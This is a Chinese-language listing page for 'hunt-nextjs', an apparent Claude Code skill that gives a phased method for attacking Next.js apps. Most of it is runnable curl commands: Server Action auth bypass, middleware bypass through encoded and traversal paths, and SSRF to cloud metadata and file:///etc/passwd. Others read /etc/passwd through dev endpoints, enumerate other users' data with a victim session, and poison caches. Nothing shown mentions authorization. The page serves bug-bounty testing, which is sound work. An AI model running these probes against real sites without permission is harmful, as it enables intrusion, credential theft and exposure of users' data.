mcpField
H
hunt-nextjs

hunt-nextjs

github.com/uphiago安全1.3k42 次安装8 周前更新
代码仓库

关于 hunt-nextjs

用于检测 Next.js 应用漏洞的 Web 安全测试技能,涵盖 Server Actions、中间件、图像优化和数据端点。它提供探测与验证方法,并说明如何避免把正常响应误判为漏洞。

主要功能

  1. 01Next.js 指纹识别与版本检查
  2. 02Server Actions 授权测试
  3. 03中间件绕过与数据泄露检查
  4. 04图像优化器 SSRF 探测
  5. 05ISR 缓存与调试端点检查

适用场景

  1. 01检查 Server Actions 是否缺少授权
  2. 02通过数据端点测试受保护页面
  3. 03探测图像优化功能是否存在 SSRF
  4. 04验证疑似缓存投毒或数据泄露

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-nextjs

安装后在 Claude Code 中输入/hunt-nextjs确认已加载。

详细介绍

HUNT-NEXTJS — Next.js / SSR 框架漏洞

皇冠明珠目标

可绕过身份验证或实现 SSRF 的 Next.js 特定漏洞 = 高危 / 严重。

价值最高的攻击链:

  • Server Actions 身份验证绕过 — Server Actions 仅在客户端强制执行身份验证 → 直接调用操作 ID → 未授权数据修改或窃取
  • 通过 /_next/static/ 绕过中间件 — 中间件跳过静态资源路径 → 通过 /_next/data/ IDOR 访问受保护路由
  • /_next/image SSRF — 图像优化器获取攻击者控制的 URL → 扫描内部网络或云元数据
  • ISR 缓存投毒 — 将恶意内容注入缓存页面,并将其提供给所有用户
  • RSC 负载泄露 — React Server Component 飞行数据包含不应提供给客户端的服务端属性

攻击面信号

/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

阶段 1 — 指纹识别与版本检测

# Confirm Next.js and get build ID
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"buildId":"[^"]+"'
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/_next/static/chunks/framework*.js | grep -Eo '"next":"[^"]+"'

# Source map exposure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

阶段 2 — 滥用 Server Actions

# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -Eo '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only

阶段 3 — 绕过中间件身份验证

# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible

# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

阶段 4 — 图像优化 SSRF(/_next/image)

# Basic SSRF test — internal metadata
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=http://[REDACTED_IP]/latest/meta-data/&w=64&q=75"

# Protocol bypass attempts
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"

# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain

误报防护(声称存在 SSRF 前请先阅读): /_next/image 只会获取 next.config.js 中 images.remotePatterns / images.domains 允许的 URL。非白名单中的 url 默认会返回 400——这是优化器正常的允许列表拒绝,并不是你绕过的“拦截”。200 返回的是优化后的图像,而不是上游响应正文,因此仅凭状态码绝不能确认 SSRF。只能通过对唯一的 Collaborator 子域名进行带外回调(见上文),或对已知内部和已知外部目标的响应正文进行差异比较来确认。请勿根据状态码报告问题。

注意:CVE-2024-34351(Next.js SSRF,GHSA-fr5h-rqp8-mj6g,影响 13.4.0 至 < 14.1.1,已在 14.1.1 修复)是 Server Actions SSRF——信任 Host 请求头的相对重定向——并非 /_next/image 漏洞,也不会影响 Vercel 等基于 Host 路由的提供商。有关 Server Actions 攻击面,请参阅阶段 2。


阶段 5 — /_next/data/ IDOR 与数据泄露

# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
  -H "Cookie: session=VICTIM_SESSION"

# Try other users' data
for ID in 1 2 3 100 1000; do
  curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done

# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/dashboard" | \
  python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"

阶段 6 — ISR 缓存投毒

# ISR pages regenerate on request after revalidation period
# If user input influences the static page content without sanitization:
# 1. Trigger revalidation with malicious input in URL/query
# 2. Injected content cached and served to all users

# Test: does query param affect cached page content?
# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
# and confirm the response was actually CACHED + served to a DIFFERENT client.
MARK="zqx$(date +%s)"
# 1) Poison with the marker
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
#    Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
curl --max-time 30 --connect-timeout 10 -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"

# On-demand revalidation endpoint (if exposed)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"

阶段 7 — 调试与堆栈帧端点

前提条件: __nextjs_launch-editor 和 __nextjs_original-stack-frame 是 react-dev-overlay 中间件,仅在 next dev 下挂载。生产构建(next build && next start)不会注册这些路由——此处返回 404 是正常且预期的结果,并非需要绕过的“过滤”。只有在极少见的配置错误中,即在生产环境实际运行 next dev,这些路由才可访问。将任何非 404 视为实际发现;请勿将 404 / 已过滤的响应报告为确认结果。

# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" \
  "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"

# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
# reference local files (file-read surface of a dev server wrongly exposed)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/__nextjs_original-stack-frame" \
  --data '{"file":"/etc/passwd","line":1,"column":1}'

阶段 8 — 环境变量泄露

# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
  grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"

# Check for non-public vars accidentally exposed
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
if m:
    d = json.loads(m.group(1))
    print(json.dumps(d.get('props', {}), indent=2))
"

攻击链表

Next.js 发现攻击链影响
Server Action 无身份验证直接调用特权变更操作数据篡改 / 管理员访问
/_next/image SSRF云元数据 → IAM 凭据云环境失陷
/_next/data/ IDOR其他用户的服务端属性窃取 PII / 令牌
中间件绕过受保护的管理路由身份验证绕过
源映射暴露重建 TS 源代码 → 查找硬编码密钥进一步发现漏洞
__NEXT_DATA__ 泄露HTML 中的服务端密钥API 密钥 / 令牌

验证

✅ Server Action:无有效会话即可执行操作,并返回数据或修改状态
✅ SSRF:收到来自 /_next/image SSRF 的 DNS / HTTP 回调
✅ 中间件绕过:无身份验证 Cookie 时,受保护路由返回 200
✅ 数据泄露:__NEXT_DATA__ 包含非公开密钥或其他用户的 PII

严重程度:

  • Server Action 身份验证绕过 → 数据修改:高危 / 严重
  • 图像 SSRF → 云元数据:严重
  • 中间件绕过 → 管理面板:高危
  • 仅暴露源映射:低危至中危

验证

运行此自测,确认 nextjs hunting 已准备就绪:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-nextjs" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能有类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

这 3 项测试可验证技能结构正确且已准备就绪。


陷阱

  • 生产环境中的 Next.js source maps — /_next/ 中的 .map 文件属于信息泄露(源代码可见),而非 RCE。
  • _next/data 端点枚举 — build ID + data 端点会暴露服务端 props。测试敏感数据是否通过 getServerSideProps 传递。
  • 中间件绕过 — Next.js 中间件在 Edge 上运行。测试 /api/ 路径能否通过直接访问绕过中间件。
  • ISR 缓存投毒 — 如果可以控制重新验证触发条件,增量静态再生成可能遭到投毒。

评论

支持 Markdown